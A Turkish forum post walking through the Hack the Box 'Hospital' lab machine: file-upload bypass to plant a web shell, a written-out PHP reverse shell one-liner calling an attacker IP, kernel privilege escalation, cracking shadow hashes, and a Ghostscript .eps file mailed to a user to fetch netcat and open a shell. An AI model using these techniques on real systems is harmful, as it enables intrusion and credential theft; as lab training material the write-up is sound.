Hack the Box — Hospital — WriteUp

PwnLab.Me

Admin
Katılım
21 Ocak 2024
Mesajlar
202
Tepkime puanı
9
Puanları
18
Emre Aktaş tarafından yazılmıştır.

1*O3TMa7eQF57fH7yJWkyRkg.png


Selamlar, bu yazımda HacktheBox platformunda bulunan Hospital makinesinin çözümünü birlikte gerçekleştirmeye çalışacağız.

etc/hosts dosyamızda gerekli düzenlemeyi yaptıktan sonra ilk olarak web sayfasına erişmeye çalışıyorum. Bu sırada arkada bir nmap çalıştırmak süreci hızlandıracaktır.

1*vZjImdPTSegeCGnzch5ESg.png


Bir login paneli ile karşılaştık burada farklı senaryolar uygulayabiliriz fakat arkada çalışan nmap çıktımıza bir göz atalım.

1*HGYUADq6tmX2WnDRG0wUuA.png


Hedefte atak vektörü sayılabilecek bir çok nokta var. Fakat ilgimizi ilk çekmesi gereken noktalardan bir tanesi 8080 portunda çalışan bir web servisi.

1*E3MN2TgpFJUQpVsDZJWBZA.png


Buradada bir login paneli ile karşılaşıyoruz. Fakat fark ederseniz “Make one” adında bir seçeneğin bize sunulduğunu yani hesap oluşturabileceğimizi fark etmemiz gerekiyor.

Bir hesap oluşturduktan sonra bu hesap ile giriş yapmaya çalışalım.

1*5tqzu1gUY6LEANj7LcoiKw.png


Bir file upload saldırısı gerçekleştirmemiz gerekli gibi gözüküyor.

Bu senaryo için karşıya bir web shell yüklemeye çalışalım. php uzantılı doyaları kabul etmediğini bu durumda file upload bypass yöntemlerimizi denememiz gerektiğini anlamalıyız.


Denemelerimiz sonrası phar uzantılı dosyaları kabul ettiğini fark edebilmemiz gerekiyor. Şimdi karşı sunucuya web shell’imizi yükleyebildiğimizi varsayarak devam ediyorum.

Ben burada p0wny-shell’i kullanıyorum. Fakat siz daha farklı web shell’leri ilede denemelerinizi gerçekleştirebilirsiniz.

Dosyamızı yükledik fakat karşıda komut çalıştırabilmemiz için shell’imizi yüklediğimiz dizine gitmemiz gerekiyor. Bunun için dizin keşfi yaparak yüklediğimiz shell’in nereye yüklendiğiniz bulmaya çalışalım.

1*wRvyLHWfDjyeE_1FEZbVow.png


Uploads dizini olduğunu görüyoruz ve muhtemel olarak yüklediğimiz shell’in burada olduğunu düşünebiliriz. İlgili dizine aşağıdaki şekilde erişmeye çalışıyoruz.

1*3LbEGBs9poZZZmLX10xDsg.png


Ve web shell’imizi başarı ile alabilmemiz gerekiyor.

php -r ‘$sock=fsockopen(“10.10.16.16”,4242);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Web shell’imizi aldıktan sonra bunu reverse shell’e çevirebiliriz. Yukarıdaki payload’ı kullanarak reverse shell’imizi alabilmemiz gerekiyor.

1*AbW1YwT5QHi59NLSo0bZ5A.png


Ve yetki yükseltebileceğim olanakları arıyorum. Karşıya linpeas.sh aktarıp çıktıları inceliyoruz. Bu işlemi yapmadan önce süreci hızlandırabilmek adına manuel olarak yetki yükseltebileceğimiz bazı işlemlerdede bulunabiliriz.

1*MkZWOr9hbbLfeVbEqn-Rbg.png


İşletim sistemi bilgisinden yola çıkarak Ubuntu 23.04 üzerine bir araştırma yaptığımız zaman privilege escalation exploit’i ile karşılaşmamız gerekiyor. Örnek olarak burada karşı tarafa linpeas.sh dosyasınıda atmadan cat /etc/os-release dosyasınıda okuyarak bu bilgiyi görüntüleyebilirdik.

1*_YYvO5ViJHfOLYMfqWUZ3A.png


Exploiti uyguladıktan sonra root yetkisi kazanabilmemiz gerekmektedir. Root yetkisi kazandığımızı varsayarak devam ediyorum.

etc/passwd ve etc/shadow dosyalarının içeriğine bakarak buradan drwilliams isminde bir kullanıcının olduğunu ve bu kullanıcının shadow dosyasında hash bilgilerinin tutulduğunu bilmemiz gerekiyor.

1*ILAQiqjl2t7PqYthGazwSw.png


Elemanın parola bilgisini elde edebilmek için john aracını kullanalım. Parolayı kırabilmeniz için rehber niteliğinde bir link bırakıyorum.

1*tp9ZdsdtgdhGTOFnsGGuEA.png


Bulduğumuz credentials bilgileri ile başta karşılaşmış olduğumuz login paneline girmeye çalışalım.

1*hg-ARnnxEKhwh89MmyBK8Q.png


Gelen kutusundaki maili incelediğimiz vakit drbrown ismindeki elemanın .eps uzantılı bir dosya beklediğini, bununda GhostScript adında görüntülenebilmesini sağlayan bir teknoloji içerdiğini öğreniyoruz.

Ghostscript’e dair bir araştırma yapmamız gerekli gibi. Uzaktan kod çalıştırabileceğimiz (Remote Code Execution) bir güvenlik açığı olduğunu fark ediyoruz.

1*sRCoJ4KaKjvS2LNtDk2bwQ.png


Tam da bu aşamada file.eps dosyasını kullanarak karşıda komut çalıştırabileceğimizi fark edebilmemiz gerekiyor. İlk olarak karşı tarafa kendi bilgisayarımızdan bir zararlı aktararak daha sonra bu zararlııyı tetikleyerek karşı taraftan shell almaya çalışabiliriz.

Öncelikle zararlı dosyamızı oluşturalım.

1*62NQzbptRcT1kXvIL57LPw.png


Zararlı dosyamızı oluşturduktan sonra mail’i drbrown’a göndermemiz gerekiyor.

1*9yx-32DH6loHmIa1QTXu6A.png


Oluşturduğumuz file.eps dosyasının karşı tarafta başarılı bir şekilde çalışabilmesi için kendi bilgisayarımızda bir http.server başlatalım.

1*fJlONKCxn9unRQ2H6-aSWA.png


Görüldüğü üzere nc64.exe dosyamızın karşı tarafa başarıyla aktarılabildiğini görüyoruz. Burada önemli olan bir durum http.server’ınızı nc64.exe zararlınızın olduğu dizinde başlatmamız gerektiği.

Şimdi bu dosyayı tetikleyerek karşı taraftan shell alabilmemiz gerekiyor.

1*DtL7Cd46seTfegxoi56dVA.png


Karşı tarafa yüklediğimiz zararlı dosyamızı tetikleyebilmek için exploit’imizi kullanarak file.eps dosyasında yukarıdaki gibi bazı değişiklikler yapmamız gerekiyor.

Bu değişiklikleri yaptıktan sonra tekrar mail’i göndermemiz gerekiyor fakat gönderim sağlamadan önce makinenizde bir netcat dinleyicisi başlattığınızdan emin olun.

1*lE4Dsee0idCFZ5tuQ8oGoA.png


Bir kaç saniye sonra bağlantının geldiğini göreceksiniz. Olduğumuz dizini listeledigimiz zaman ghostscript.bat şeklinde bir dosyanın bizi karşıladığını görmekteyiz.

1*wuvYRszGFH7JP3wU0w6usQ.png


İçeriğini okuyabilmek adına windows’da type komutunu kullanıyorum.

1*hk6erOWtgiJY3LLmxotg3Q.png


Görünüşe göre drbwron’un parola bilgisini elde etmiş olduk. Bu credentials bilgisini kullanarak ne yapabileceğimize bir bakmamız gerekiyor.

İlk nmap çıktımıza tekrar bir dönmemiz gerekecek. Burada rpclient’in açık olduğunu fark edeceksiniz. Bağlantı kurmaya çalışalım.

1*aJ6X8VJy1DOS_rUforBewQ.png


Başarı ile bağlanabildiğimizi görüyoruz. Daha sonra querydispinfo komutunu gerçekleştirerek verileri inceleyelim. Burada yönetici (Administrator) bilgilerinin misafir (Guest) ile paylaşıldığını fark edebilmemiz gerekiyor.

Bundan ötürü C:\xampp\htdocs\ dizinine gitmemiz gerekiyor.

1*nDuJMDKLffkpE41mBYynoA.png


Buraya p0wny-shell’imizi yükleyip url’den ilgili dizine erişmeye çalıştığımız zaman nt authority seviyesinde bir ayrıcalık kazandığımızı fark ediyoruz.

1*lXPdcCp4d4EqVY1Aj6HSLQ.png

1*r69zGFcrOykkMrLzxY3nbw.gif
 
Moderatör tarafında düzenlendi:
Geri
Üst